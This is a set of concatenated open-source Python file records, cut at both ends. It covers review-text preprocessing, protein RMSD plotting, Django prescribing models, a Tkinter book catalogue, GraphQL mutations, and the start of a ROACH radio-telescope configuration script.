fileIO.ConvertUnicodetoASCII(old_dir, x, new_dir, x)\r\n\r\ndef Create_DataSet(dir_datasetASCII, dir_dataset):\r\n fileList = fileIO.GetFilesNameList(dir_datasetASCII)\r\n for x in fileList:\r\n textArray = fileIO.ReadTXT(dir_datasetASCII + x, 1)\r\n result = RawDataPreprocessing(textArray)\r\n for i in range(len(result)):\r\n fileIO.WriteTXT(dir_dataset + x, result[i], 'a')\r\n print(\"Creating DataSet... \" + x)\r\n \r\ndef Create_Sents(dir_dataset, dir_sents):\r\n m_filelist = fileIO.GetFilesNameList(dir_dataset)\r\n for x in m_filelist:\r\n m_file = fileIO.ReadTXT(dir_dataset + x, 1)\r\n reviews = []\r\n for i in range(len(m_file)):\r\n if m_file[i][0] != ' ':\r\n reviews.append(m_file[i])\r\n # dividing into sentences\r\n sentences = \"\"\r\n for i in range(len(reviews)):\r\n j = []\r\n j = nltk.sent_tokenize(reviews[i])\r\n for m in range(len(j)):\r\n if m != (len(j)-1):\r\n sentences += j[m] + '\\n'\r\n else:\r\n sentences += j[m]\r\n fileIO.WriteTXT(dir_sents + x, sentences, 'a')\r\n print(\"Creating Sents...\" + x)\r\n\r\ndef Create_Sents_S_CF_PF(dir_sents_s, dir_sents_s_cf_pf, dir_PFlist):\r\n pf_list = Get_PF_list(dir_PFlist)\r\n filelist = fileIO.GetFilesNameList(dir_sents_s)\r\n for x in filelist:\r\n print('Creating Sents_S_CF_PF...' + x)\r\n old_content = fileIO.ReadTXT(dir_sents_s + x, 1)\r\n resultArray = []\r\n for i in range(len(old_content)):\r\n sents = \"\"\r\n for j in range(5, len(old_content[i])-2):\r\n sents = sents + old_content[i][j]\r\n resultArray = Match_CF_PF(sents, pf_list)\r\n new_content = \"\\\"\" + str(resultArray[0]) + \"\\\",\\\"\" + str(resultArray[1]) + \"\\\",\" + old_content[i]\r\n fileIO.WriteTXT(dir_sents_s_cf_pf + x, new_content, 'a')\r\n \r\ndef Match_CF_PF(sents, pf_list):\r\n for i in range(len(pf_list)):\r\n resultArray = []\r\n result = ((pf_list[i][1].lower()+' ') in (sents.lower())) or ((pf_list[i][1].lower() + '.') in sents.lower())\r\n if result:\r\n # append CF\r\n resultArray.append(pf_list[i][2])\r\n # append PF\r\n resultArray.append(pf_list[i][0])\r\n else:\r\n # adding into CF_0\r\n resultArray.append(0)\r\n resultArray.append(0)\r\n return resultArray\r\n \r\ndef Get_PF_list(dir_PFlist):\r\n pf_temp1 = fileIO.ReadTXT(dir_PFlist, 1)\r\n pf_temp2 = []\r\n pf_list = []\r\n for i in range(len(pf_temp1)):\r\n pf_temp2.append(pf_temp1[i][:-1])\r\n for i in range(len(pf_temp2)):\r\n pf_list.append(pf_temp2[i].split('\\t'))\r\n return pf_list \r\n \r\ndef RawDataPreprocessing(textArray):\r\n stringList = []\r\n stringList.append(' Yes\\n')\r\n stringList.append('No \\n')\r\n stringList.append('\\n')\r\n \r\n regExpList = []\r\n regExpList.append('\\s*\\n')\r\n \r\n stringMatchList = []\r\n stringMatchList.append('PermalinkComment Comment')\r\n stringMatchList.append('Most Helpful First')\r\n stringMatchList.append('(What\\'s this?)')\r\n stringMatchList.append('‹')\r\n \r\n # Disable this when use it later\r\n stringMatchList.append('people found the following review helpful')\r\n \r\n result = []\r\n result = dataProcess.DeletebyStrValue(stringList, textArray)\r\n result = dataProcess.DeletebyRegExp(regExpList, result)\r\n result = dataProcess.DeletebyStrMatch(stringMatchList, result)\r\n return result\r\n\r\n###########################################################\r\n'''v1.0\r\n# Verify whether a text contains anyone in stringList.\r\n# If yes, save it into PFs or CFs. If no, save it into 'CF_0.txt'\r\ndef Compare(dir_file_root, stringList, textArray):\r\n for i in range(len(textArray)): \r\n for j in range(1,len(stringList),3):\r\n # verify the first pf is in the review or not\r\n result = ((stringList[j].lower()+' ') in (textArray[i].lower())) or ((stringList[j].lower() + '.') in (textArray[i]).lower())\r\n if result:\r\n Write_into_file(dir_file_root, stringList[j-1], textArray[i], stringList[j+1])\r\n print('Adding a new review into PF and CF...')\r\n else:\r\n Write_into_file(dir_file_root, 0, textArray[i], 0)\r\n\r\n# Write reviews into PFs and CFs \r\ndef Write_into_file(dir_file_root, PF_id, review, CF_id):\r\n fileIO.WriteTXT(dir_file_root+'\\\\PFs\\\\PF_'+PF_id+'.txt', review, 'a')\r\n fileIO.WriteTXT(dir_file_root+'\\\\CFs\\\\CF_'+CF_id+'.txt', review, 'a')\r\n \r\ndef ConvertTXTtoREVIEWS(file_name_dir):\r\n fileCorpus = fileIO.ReadTXT(file_name_dir, 0)\r\n passage = fileCorpus.split('Yes\\nNo \\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n \\n | PermalinkComment Comment') \r\n return passage\r\n\r\ndef ConvertTXTtoPF(file_name_dir):\r\n fileCorpus = fileIO.ReadTXT(file_name_dir, 0)\r\n sentences = nltk.sent_tokenize(fileCorpus)\r\n sentences = [nltk.word_tokenize(sent) for sent in sentences]\r\n sentences = sentences[0]\r\n return sentences\r\n'''","sub_path":"product_review/tong/controller.py","file_name":"controller.py","file_ext":"py","file_size_in_byte":6550,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"576442369","text":"# io.py\n# since: 10/2018\n# Developed by: Shehu Lab\n\n\"\"\"Module for the input/output operations.\n\nContains input/output utility functions needed for the project.\n\nAvailable functions:\n- get_sequence_from_fasta: Returns the sequence of a protein from it's\n fasta file.\n- plot_rmsd_distribution: Plots frequencies for Ca-lRMSDs to the native\n structure.\n- plot_energy_vs_rmsd: Plots energies for Ca-lRMSDs to the native\n structure on two sets of decoys.\n\"\"\"\n\nimport matplotlib.pyplot as plt\nimport numpy as np\n\n\ndef get_sequence_from_fasta(fasta_file):\n \"\"\"Returns the sequence of a protein from its fasta file\n\n Args:\n fasta_file: A string containing the fasta file path with the\n file name and extension.\n\n Raises:\n ValueError: if fasta_file path is empty.\n\n Returns:\n A string containing the sequence of the protein.\n \"\"\"\n\n if not fasta_file:\n raise ValueError(\"Path cannot be empty.\")\n\n handle = open(fasta_file, 'r')\n try:\n sequence = handle.readlines()\n finally:\n handle.close()\n\n sequence = [line.strip() for line in sequence if not '>' in line]\n sequence = ''.join(sequence)\n\n return sequence\n\n\ndef plot_rmsd_distribution(rmsds, x_min, x_max, x_increment, x_label, y_label,\n plot_color, output_filename):\n \"\"\"Plots frequencies for Ca-lRMSDs to the native structure. Saves the\n plot on .png and .pdf file formats.\n\n Args:\n rmsds: A numpy array containing all the Ca-RMSD values.\n x_min: A number indicating the minimum value for X axis.\n x_max: An number indicating the maximum value for X axis.\n x_increment: A float indicating the bin length.\n x_label: A string indicating the label along the X axis.\n y_label: A string indicating the label along the Y axis.\n plot_color: A string indicating the color of the plot.\n output_filename: A string containing the name of the output\n file.\n\n Returns:\n None\n \"\"\"\n\n # Create bin array\n bin_array = np.arange(x_min, x_max + x_increment, x_increment)\n\n # Create the histogram\n y, bin_edges = np.histogram(rmsds, bins=bin_array)\n\n # Plot\n plt.plot(bin_edges[:-1], y, color=plot_color)\n\n plt.xlabel(x_label)\n plt.ylabel(y_label)\n\n plt.savefig(output_filename + \".pdf\", dpi=300, transparent='True',\n bbox_inches='tight', figsize=(5, 5), pad_inches=0.05)\n plt.savefig(output_filename + \".png\", dpi=300, transparent='True',\n bbox_inches='tight', figsize=(5, 5), pad_inches=0.05)\n\n\ndef plot_energy_vs_rmsd(\n set1_rmsds_x, set1_energies_y, set2_rmsds_x, set2_energies_y,\n x_ticks, x_label, y_label, point_size, set1_color, set2_color,\n set1_marker, set2_marker, output_filename):\n \"\"\"Plots energies for Ca-lRMSDs to the native structure on two sets\n of decoys. Saves the plot on .png and .pdf file formats.\n\n Args:\n set1_rmsds_x: A list/numpy array containing all the Ca-RMSD\n values for the first set.\n set1_energies_y: A list/numpy array containing all the energy\n values for the first set.\n set2_rmsds_x: A list/numpy array containing all the Ca-RMSD\n values for the second set.\n set2_energies_y: A list/numpy array containing all the energy\n values for the second set.\n x_ticks: A list/numpy array indicating ticks for X axis.\n x_label: A string indicating the label along the X axis.\n y_label: A string indicating the label along the Y axis.\n point_size: An int indicating the size of each point.\n set1_color: A string indicating the color of the points in the\n first set.\n set2_color: A string indicating the color of the points in the\n second set.\n set1_marker: A string indicating the marker of the points in the\n first set.\n set2_marker: A string indicating the marker of the points in the\n second set.\n output_filename: A string containing the name of the output\n file.\n Returns:\n None\n \"\"\"\n\n plt.scatter(set1_rmsds_x, set1_energies_y, color=set1_color,\n s=point_size, marker=set1_marker)\n plt.scatter(set2_rmsds_x, set2_energies_y, color=set2_color,\n s=point_size, marker=set2_marker)\n plt.xlabel(x_label, fontsize=13)\n plt.ylabel(y_label, fontsize=13)\n plt.xticks(x_ticks)\n\n plt.savefig(output_filename + \".pdf\", dpi=300, transparent='True',\n bbox_inches='tight', figsize=(5, 5), pad_inches=0.05)\n plt.savefig(output_filename + \".png\", dpi=300, transparent='True',\n bbox_inches='tight', figsize=(5, 5), pad_inches=0.05)\n","sub_path":"modules/io.py","file_name":"io.py","file_ext":"py","file_size_in_byte":4752,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"88222639","text":"from src.plugins.helpers.api import ApiConnector\n\nvalid_connectors = {\n 'api' : ApiConnector\n}\n\ndef get_connector(conn_type:str, hook:str):\n \"\"\"Get connector of type\n \n :param conn_type: connector type valid types are: *api *ssh *ftp\n :type conn_type: str\n :param hook: connection hook id configuration\n :type hook: str\n :raises NotImplementedError: connector type does not exists\n :returns connector instance child of BaseConnector\n :rtype: :class:`BaseConnector`\n \"\"\"\n if conn_type.lower() not in valid_connectors:\n raise NotImplementedError(f'Connector of type {conn_type} does not exist')\n\n return valid_connectors[conn_type.lower()](**hook)\n","sub_path":"src/plugins/helpers/connector.py","file_name":"connector.py","file_ext":"py","file_size_in_byte":692,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"650367282","text":"from django.contrib.gis.db import models\nfrom validators import isAlphaNumeric\n\n\nclass Section(models.Model):\n bnf_id = models.CharField(max_length=8, primary_key=True)\n name = models.CharField(max_length=200)\n number_str = models.CharField(max_length=12)\n bnf_chapter = models.IntegerField()\n bnf_section = models.IntegerField(null=True, blank=True)\n bnf_para = models.IntegerField(null=True, blank=True)\n\n def __str__(self):\n return self.name\n\n def save(self, *args, **kwargs):\n self.number_str = self.get_number_str(self.bnf_id)\n super(Section, self).save(*args, **kwargs)\n\n def get_number_str(self, id):\n s1 = self.strip_zeros(id[:2])\n s2 = self.strip_zeros(id[2:4])\n s3 = self.strip_zeros(id[4:6])\n s4 = self.strip_zeros(id[6:8])\n number = str(s1)\n if s2:\n number += '.%s' % s2\n if s3:\n number += '.%s' % s3\n if s4:\n number += '.%s' % s4\n return number\n\n def strip_zeros(self, str):\n if not str or str == '0' or str == '00':\n return None\n if len(str) > 1 and str[0] == '0':\n str = str[1:]\n return int(str)\n\n class Meta:\n ordering = [\"bnf_id\"]\n\n\nclass SHA(models.Model):\n '''\n SHAs or Area Teams (depending on date).\n '''\n code = models.CharField(max_length=3, primary_key=True,\n help_text='Strategic health authority code')\n ons_code = models.CharField(max_length=9, null=True, blank=True)\n name = models.CharField(max_length=200, null=True, blank=True)\n boundary = models.MultiPolygonField(null=True, blank=True)\n\n objects = models.GeoManager()\n\n\nclass PCT(models.Model):\n '''\n PCTs or CCGs (depending on date).\n '''\n PCT_ORG_TYPES = (\n ('CCG', 'CCG'),\n ('PCT', 'PCT'),\n ('Unknown', 'Unknown')\n )\n code = models.CharField(max_length=3, primary_key=True,\n help_text='Primary care trust code')\n ons_code = models.CharField(max_length=9, null=True, blank=True)\n name = models.CharField(max_length=200, null=True, blank=True)\n org_type = models.CharField(max_length=9, choices=PCT_ORG_TYPES,\n default='Unknown')\n boundary = models.GeometryField(null=True, blank=True)\n managing_group = models.ForeignKey(SHA, null=True, blank=True)\n\n objects = models.GeoManager()\n\n\nclass Practice(models.Model):\n '''\n GP practices. HSCIC practice status is from:\n http://systems.hscic.gov.uk/data/ods/datadownloads/gppractice/index_html\n '''\n PRESCRIBING_SETTINGS = (\n (-1, 'Unknown'),\n (0, 'Other'),\n (1, 'WIC Practice'),\n (2, 'OOH Practice'),\n (3, 'WIC + OOH Practice'),\n (4, 'GP Practice'),\n (8, 'Public Health Service'),\n (9, 'Community Health Service'),\n (10, 'Hospital Service'),\n (11, 'Optometry Service'),\n (12, 'Urgent & Emergency Care'),\n (13, 'Hospice'),\n (14, 'Care Home / Nursing Home'),\n (15, 'Border Force'),\n (16, 'Young Offender Institution'),\n (17, 'Secure Training Centre'),\n (18, \"Secure Children's Home\"),\n (19, \"Immigration Removal Centre\"),\n (20, \"Court\"),\n (21, \"Police Custody\"),\n (22, \"Sexual Assault Referral Centre (SARC)\"),\n (24, \"Other - Justice Estate\"),\n (25, \"Prison\")\n )\n ccg = models.ForeignKey(PCT, null=True, blank=True)\n area_team = models.ForeignKey(SHA, null=True, blank=True)\n code = models.CharField(max_length=6, primary_key=True,\n help_text='Practice code')\n name = models.CharField(max_length=200)\n address1 = models.CharField(max_length=200, null=True, blank=True)\n address2 = models.CharField(max_length=200, null=True, blank=True)\n address3 = models.CharField(max_length=200, null=True, blank=True)\n address4 = models.CharField(max_length=200, null=True, blank=True)\n postcode = models.CharField(max_length=9, null=True, blank=True)\n location = models.PointField(null=True, blank=True)\n setting = models.IntegerField(choices=PRESCRIBING_SETTINGS,\n default=-1)\n objects = models.GeoManager()\n\n def __str__(self):\n return self.name\n\n def address_pretty(self):\n address = self.address1 + ', '\n if self.address2:\n address += self.address2 + ', '\n if self.address3:\n address += self.address3 + ', '\n if self.address4:\n address += self.address4 + ', '\n address += self.postcode\n return address\n\n def address_pretty_minus_firstline(self):\n address = ''\n if self.address2:\n address += self.address2 + ', '\n if self.address3:\n address += self.address3 + ', '\n if self.address4:\n address += self.address4 + ', '\n address += self.postcode\n return address\n\n class Meta:\n app_label = 'frontend'\n\n\nclass PracticeIsDispensing(models.Model):\n '''\n Dispensing status, from\n https://www.report.ppa.org.uk/ActProd1/getfolderitems.do?volume=actprod&userid=ciruser&password=foicir\n '''\n practice = models.ForeignKey(Practice)\n date = models.DateField()\n\n class Meta:\n app_label = 'frontend'\n unique_together = (\"practice\", \"date\")\n\n\nclass PracticeList(models.Model):\n '''\n List size categories from NHS BSA.\n '''\n practice = models.ForeignKey(Practice)\n pct = models.ForeignKey(PCT, null=True, blank=True)\n date = models.DateField()\n male_0_4 = models.IntegerField()\n female_0_4 = models.IntegerField()\n male_5_14 = models.IntegerField()\n female_5_14 = models.IntegerField()\n male_15_24 = models.IntegerField()\n female_15_24 = models.IntegerField()\n male_25_34 = models.IntegerField()\n female_25_34 = models.IntegerField()\n male_35_44 = models.IntegerField()\n female_35_44 = models.IntegerField()\n male_45_54 = models.IntegerField()\n female_45_54 = models.IntegerField()\n male_55_64 = models.IntegerField()\n female_55_64 = models.IntegerField()\n male_65_74 = models.IntegerField()\n female_65_74 = models.IntegerField()\n male_75_plus = models.IntegerField()\n female_75_plus = models.IntegerField()\n total_list_size = models.IntegerField()\n astro_pu_cost = models.FloatField()\n astro_pu_items = models.FloatField()\n star_pu_oral_antibac_items = models.FloatField()\n\n def save(self, *args, **kwargs):\n list_total = self.male_0_4 + self.female_0_4 + \\\n self.male_5_14 + self.female_5_14 + \\\n self.male_15_24 + self.female_15_24 + \\\n self.male_25_34 + self.female_25_34 + \\\n self.male_35_44 + self.female_35_44 + \\\n self.male_45_54 + self.female_45_54 + \\\n self.male_55_64 + self.female_55_64 + \\\n self.male_65_74 + self.female_65_74 + \\\n self.male_75_plus + self.female_75_plus\n self.total_list_size = list_total\n\n astro_pu_cost = (1.0 * float(self.male_0_4)) + \\\n (0.9 * float(self.female_0_4)) + \\\n (0.9 * float(self.male_5_14)) + \\\n (0.7 * float(self.female_5_14)) + \\\n (1.2 * float(self.male_15_24)) + \\\n (1.4 * float(self.female_15_24)) + \\\n (1.3 * float(self.male_25_34)) + \\\n (1.8 * float(self.female_25_34)) + \\\n (1.8 * float(self.male_35_44)) + \\\n (2.6 * float(self.female_35_44)) + \\\n (3.1 * float(self.male_45_54)) + \\\n (3.7 * float(self.female_45_54)) + \\\n (5.3 * float(self.male_55_64)) + \\\n (5.4 * float(self.female_55_64)) + \\\n (8.7 * float(self.male_65_74)) + \\\n (7.6 * float(self.female_65_74)) + \\\n (11.3 * float(self.male_75_plus)) + \\\n (9.9 * float(self.female_75_plus))\n self.astro_pu_cost = astro_pu_cost\n\n astro_pu_items = (5.2 * float(self.male_0_4)) + \\\n (4.6 * float(self.female_0_4)) + \\\n (2.8 * float(self.male_5_14)) + \\\n (2.5 * float(self.female_5_14)) + \\\n (2.5 * float(self.male_15_24)) + \\\n (4.6 * float(self.female_15_24)) + \\\n (2.9 * float(self.male_25_34)) + \\\n (6.0 * float(self.female_25_34)) + \\\n (4.9 * float(self.male_35_44)) + \\\n (8.3 * float(self.female_35_44)) + \\\n (8.7 * float(self.male_45_54)) + \\\n (12.3 * float(self.female_45_54)) + \\\n (16.6 * float(self.male_55_64)) + \\\n (19.1 * float(self.female_55_64)) + \\\n (29.9 * float(self.male_65_74)) + \\\n (30.4 * float(self.female_65_74)) + \\\n (44.9 * float(self.male_75_plus)) + \\\n (48.5 * float(self.female_75_plus))\n self.astro_pu_items = astro_pu_items\n\n star_pu_oral_antibac_items = (0.8 * float(self.male_0_4)) + \\\n (0.8 * float(self.female_0_4)) + \\\n (0.3 * float(self.male_5_14)) + \\\n (0.4 * float(self.female_5_14)) + \\\n (0.3 * float(self.male_15_24)) + \\\n (0.6 * float(self.female_15_24)) + \\\n (0.2 * float(self.male_25_34)) + \\\n (0.6 * float(self.female_25_34)) + \\\n (0.3 * float(self.male_35_44)) + \\\n (0.6 * float(self.female_35_44)) + \\\n (0.3 * float(self.male_45_54)) + \\\n (0.6 * float(self.female_45_54)) + \\\n (0.4 * float(self.male_55_64)) + \\\n (0.7 * float(self.female_55_64)) + \\\n (0.7 * float(self.male_65_74)) + \\\n (1.0 * float(self.female_65_74)) + \\\n (1.0 * float(self.male_75_plus)) + \\\n (1.3 * float(self.female_75_plus))\n self.star_pu_oral_antibac_items = star_pu_oral_antibac_items\n\n super(PracticeList, self).save(*args, **kwargs)\n\n class Meta:\n app_label = 'frontend'\n\n\nclass QOFPrevalence(models.Model):\n '''\n TODO: Handle denormalization?\n '''\n pct = models.ForeignKey(PCT, null=True, blank=True)\n practice = models.ForeignKey(Practice, null=True, blank=True)\n start_year = models.IntegerField()\n indicator_group = models.CharField(max_length=10)\n register_description = models.CharField(max_length=100)\n disease_register_size = models.IntegerField()\n\n\nclass Chemical(models.Model):\n '''\n GP prescribing chemical substances (aka chemicals)\n TODO: Add 'date added' field, populate from data file.\n '''\n bnf_code = models.CharField(max_length=9, primary_key=True,\n validators=[isAlphaNumeric])\n chem_name = models.CharField(max_length=200)\n\n def __str__(self):\n return '%s: %s' % (self.bnf_code, self.chem_name)\n\n def bnf_section(self):\n code = self.bnf_code\n section = Section.objects.get(bnf_chapter=int(code[:2]),\n bnf_section=int(code[2:4]),\n bnf_para=None)\n return \"%s: %s\" % (section.number_str, section.name)\n\n class Meta:\n app_label = 'frontend'\n unique_together = (('bnf_code', 'chem_name'),)\n\n\nclass Product(models.Model):\n '''\n GP prescribing products. Import from BNF codes file from BSA.\n '''\n bnf_code = models.CharField(max_length=11, primary_key=True,\n validators=[isAlphaNumeric])\n name = models.CharField(max_length=200)\n is_generic = models.BooleanField()\n\n def __str__(self):\n return '%s: %s' % (self.bnf_code, self.name)\n\n def save(self, *args, **kwargs):\n self.is_generic = (self.bnf_code[-2:] == 'AA')\n super(Product, self).save(*args, **kwargs)\n\n class Meta:\n app_label = 'frontend'\n\n\nclass Presentation(models.Model):\n '''\n GP prescribing products. Import from BNF codes file from BSA.\n '''\n bnf_code = models.CharField(max_length=15, primary_key=True,\n validators=[isAlphaNumeric])\n name = models.CharField(max_length=200)\n is_generic = models.NullBooleanField(default=None)\n\n def __str__(self):\n return '%s: %s' % (self.bnf_code, self.name)\n\n def save(self, *args, **kwargs):\n if len(self.bnf_code) > 10:\n code = self.bnf_code[9:11]\n is_generic = (code == 'AA')\n else:\n is_generic = None\n self.is_generic = is_generic\n super(Presentation, self).save(*args, **kwargs)\n\n class Meta:\n app_label = 'frontend'\n\n\nclass Prescription(models.Model):\n '''\n Prescription items\n Characters\n -- 1 & 2 show the BNF Chapter,\n -- 3 & 4 show the BNF Section,\n -- 5 & 6 show the BNF paragraph,\n -- 7 shows the BNF sub-paragraph and\n -- 8 & 9 show the chemical substance\n -- 10 & 11 show the Product\n -- 12 & 13 show the Strength and Formulation\n -- 14 & 15 show the equivalent generic code (always used)\n '''\n sha = models.ForeignKey(SHA)\n pct = models.ForeignKey(PCT)\n practice = models.ForeignKey(Practice)\n chemical = models.ForeignKey(Chemical)\n presentation_code = models.CharField(max_length=15, db_index=True,\n validators=[isAlphaNumeric])\n presentation_name = models.CharField(max_length=1000)\n total_items = models.IntegerField()\n net_cost = models.FloatField()\n actual_cost = models.FloatField()\n quantity = models.FloatField()\n processing_date = models.DateField(db_index=True)\n price_per_unit = models.FloatField()\n\n class Meta:\n app_label = 'frontend'\n","sub_path":"openprescribing/frontend/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":13608,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"359160776","text":"from tkinter import *\r\n\r\nimport backend\r\n\r\ndef getselectedrow(event):\r\n global selected_tuple\r\n index=list1.curselection()\r\n selected_tuple=list1.get(index)\r\n return(selected_tuple)\r\n\r\ndef view_command():\r\n list1.delete(0,END)\r\n for row in backend.view():\r\n list1.insert(END, row)\r\n\r\ndef search_command():\r\n list1.delete(0,END)\r\n for row in backend.search(title_entry.get(),author_text.get(),year_text.get(),isbn_text.get()):\r\n list1.insert(END,row)\r\n\r\ndef add_command():\r\n backend.insert(title_entry.get(), author_text.get(), year_text, isbn_text.get())\r\n list1.delete(0,END)\r\n list1.insert(END,title_entry.get(), author_text.get(), year_text, isbn_text.get())\r\n\r\ndef delete_command():\r\n backend.delete(selected_tuple[0])\r\n\r\n\r\n\r\nwindow=Tk()\r\n\r\nl1=Label(window,text=\"Title\")\r\nl1.grid(row=0,column=0)\r\n\r\nl2=Label(window,text=\"Year\")\r\nl2.grid(row=1,column=0)\r\n\r\nl3=Label(window,text=\"Author\")\r\nl3.grid(row=0,column=2)\r\n\r\nl4=Label(window,text=\"ISBN\")\r\nl4.grid(row=1,column=2)\r\n\r\ntitle_entry=StringVar()\r\ne1=Entry(window,textvariable=title_entry) #entry of title\r\ne1.grid(row=0,column=1)\r\n\r\nyear_text=StringVar()\r\ne2=Entry(window,textvariable=year_text) #entry of year\r\ne2.grid(row=1,column=1)\r\n\r\nauthor_text=StringVar()\r\ne3=Entry(window,textvariable=author_text) #entry of author\r\ne3.grid(row=0,column=3)\r\n\r\nisbn_text=StringVar()\r\ne4=Entry(window,textvariable=isbn_text) #entry if isbn\r\ne4.grid(row=1,column=3)\r\n\r\nlist1=Listbox(window,height=6,width=35)\r\nlist1.grid(row=2,column=0,rowspan=6,columnspan=2)\r\n\r\nsb1=Scrollbar(window)\r\nsb1.grid(row=2,column=2,rowspan=6)\r\n\r\nlist1.config(yscrollcommand=sb1.set)\r\nsb1.config(command=list1.yview)\r\n\r\nlist1.bind('<>',getselectedrow)\r\n\r\nb1=Button(window,text=\"View All\" ,width=12,command=view_command)\r\nb1.grid(row=2,column=3)\r\n\r\nb2=Button(window,text=\"Search Entry\", width=12,command=search_command)\r\nb2.grid(row=3,column=3)\r\n\r\nb3=Button(window,text=\"Add Entry\" ,width=12,command=add_command)\r\nb3.grid(row=4,column=3)\r\n\r\nb4=Button(window,text=\"Update\",width=12)\r\nb4.grid(row=5,column=3)\r\n\r\nb5=Button(window,text=\"Delete\",width=12,command=delete_command)\r\nb5.grid(row=6,column=3)\r\n\r\nb6=Button(window,text=\"Close\",width=12)\r\nb6.grid(row=7,column=3)\r\n\r\nwindow.mainloop()","sub_path":"script1.py","file_name":"script1.py","file_ext":"py","file_size_in_byte":2275,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"599185361","text":"import graphene\nfrom graphene import relay, ObjectType\nfrom graphene_django.forms.mutation import DjangoModelFormMutation\nfrom graphql_jwt.decorators import login_required\nfrom graphql_relay import from_global_id\nfrom core.decorators import permission_required\nfrom core.permissions import OrderPermissions\nfrom core.utils import DeletePermissionCheck\nfrom ..forms.forms import RequestModelForm, ReqSpecModelForm\nfrom ..orders.types import RequestNode\nfrom ...models import Requests, ReqSpec\nfrom utils.graphql import utils as graphql_utils\n\n\nclass RequestModelFormMutation(DjangoModelFormMutation):\n\n order = relay.node.Field(RequestNode)\n\n class Meta:\n form_class = RequestModelForm\n\n @classmethod\n def get_form_kwargs(cls, root, info, **input):\n owner = info.context.user\n input['owner'] = str(owner.pk)\n attrs = ['customer']\n input = graphql_utils.from_globad_bulk(attrs, input)\n if 'colleagues' in input:\n input['colleagues'] = [from_global_id(colleague_pk)[1] for colleague_pk in input['colleagues']]\n\n kwargs = {\"data\": input}\n global_id = input.pop(\"id\", None)\n if global_id:\n node_type, pk = from_global_id(global_id)\n instance = cls._meta.model._default_manager.get(pk=pk)\n kwargs[\"instance\"] = instance\n\n return kwargs\n\n\nclass ReqSpecModelFormMutation(DjangoModelFormMutation):\n class Meta:\n form_class = ReqSpecModelForm\n\n @classmethod\n def get_form_kwargs(cls, root, info, **input):\n owner = info.context.user\n input['owner'] = str(owner.pk)\n attrs = ['req_id', 'rpm_new', 'im', 'ip', 'ic', 'type']\n input = graphql_utils.from_globad_bulk(attrs, input)\n\n kwargs = {\"data\": input}\n global_id = input.pop(\"id\", None)\n if global_id:\n node_type, pk = from_global_id(global_id)\n instance = cls._meta.model._default_manager.get(pk=pk)\n kwargs[\"instance\"] = instance\n\n return kwargs\n\n\nclass DeleteOrder(DeletePermissionCheck, relay.ClientIDMutation):\n\n class Input:\n id = graphene.ID()\n model = Requests\n label = 'درخواست'\n\n permission_list = [OrderPermissions.DELETE_REQUESTS]\n\n @classmethod\n @login_required\n @permission_required(permission_list)\n def mutate(cls, root, info, input):\n return super(DeleteOrder, cls).mutate(root, info, input)\n\n\nclass DeleteOrderSpec(DeletePermissionCheck, relay.ClientIDMutation):\n class Input:\n id = graphene.ID()\n model = ReqSpec\n label = 'ردیف'\n\n permission_list = [OrderPermissions.DELETE_REQSPEC]\n\n @classmethod\n @login_required\n @permission_required(permission_list)\n def mutate(cls, root, info, input):\n return super(DeleteOrderSpec, cls).mutate(root, info, input)\n\n\nclass RequestModelMutations(ObjectType):\n request_mutation = RequestModelFormMutation.Field()\n req_spec_mutation = ReqSpecModelFormMutation.Field()\n delete_order = DeleteOrder.Field()\n delete_order_spec = DeleteOrderSpec.Field()\n\n\n","sub_path":"app/request/graphql/orders/mutations.py","file_name":"mutations.py","file_ext":"py","file_size_in_byte":3092,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"418343025","text":"#!/usr/bin/env python26\n\n#\n# BPSR python module\n#\n\nimport Dada, time, corr\n\n#from corr import katcp_wrapper\n\ndef getConfig():\n \n config_file = Dada.DADA_ROOT + \"/share/caspsr.cfg\"\n config = Dada.readCFGFileIntoDict(config_file)\n return config\n\ndef convertIPToInteger(ipaddr):\n parts = ipaddr.split(\".\",3)\n ip_int = (int(parts[0]) * (2**24)) + \\\n (int(parts[1]) * (2**16)) + \\\n (int(parts[2]) * (2**8)) + \\\n int(parts[3])\n return ip_int\n\n###############################################################################\n#\n# create and configure the roach based on the config\n#\ndef configureRoach(dl, cfg):\n\n roach_ip = cfg[\"ROACH_IP\"]\n roach_port = int(cfg[\"ROACH_PORT\"])\n roach_bof = cfg[\"ROACH_BOF\"]\n\n roach_10gbe_src_ip_0 = convertIPToInteger(cfg[\"ROACH_10GbE_SRC_IP_0\"])\n roach_10gbe_src_ip_1 = convertIPToInteger(cfg[\"ROACH_10GbE_SRC_IP_1\"])\n\n Dada.logMsg(2, dl, \"configureRoach: \" + cfg[\"ROACH_10GbE_SRC_IP_0\"] + \" -> \" + str(roach_10gbe_src_ip_0))\n Dada.logMsg(2, dl, \"configureRoach: \" + cfg[\"ROACH_10GbE_SRC_IP_1\"] + \" -> \" + str(roach_10gbe_src_ip_1))\n\n roach_10gbe_dest_ip_0 = convertIPToInteger(cfg[\"ROACH_10GbE_DEST_IP_0\"])\n roach_10gbe_dest_ip_1 = convertIPToInteger(cfg[\"ROACH_10GbE_DEST_IP_1\"])\n\n Dada.logMsg(2, dl, \"configureRoach: \" + cfg[\"ROACH_10GbE_DEST_IP_0\"] + \" -> \" + str(roach_10gbe_dest_ip_0))\n Dada.logMsg(2, dl, \"configureRoach: \" + cfg[\"ROACH_10GbE_DEST_IP_1\"] + \" -> \" + str(roach_10gbe_dest_ip_1))\n\n # Same port in src and dest\n roach_10gbe_src_port_0 = int(cfg[\"DEMUX_UDP_PORT_0\"])\n roach_10gbe_src_port_1 = int(cfg[\"DEMUX_UDP_PORT_1\"])\n\n roach_10gbe_dest_port_0 = int(cfg[\"DEMUX_UDP_PORT_0\"])\n roach_10gbe_dest_port_1 = int(cfg[\"DEMUX_UDP_PORT_1\"])\n\n # use a designated private MAC address [02:xx:xx:xx:xx:xx]\n roach_10gbe_src_mac_0 = (2<<40) + (2<<32) + roach_10gbe_src_ip_0\n roach_10gbe_src_mac_1 = (2<<40) + (2<<32) + 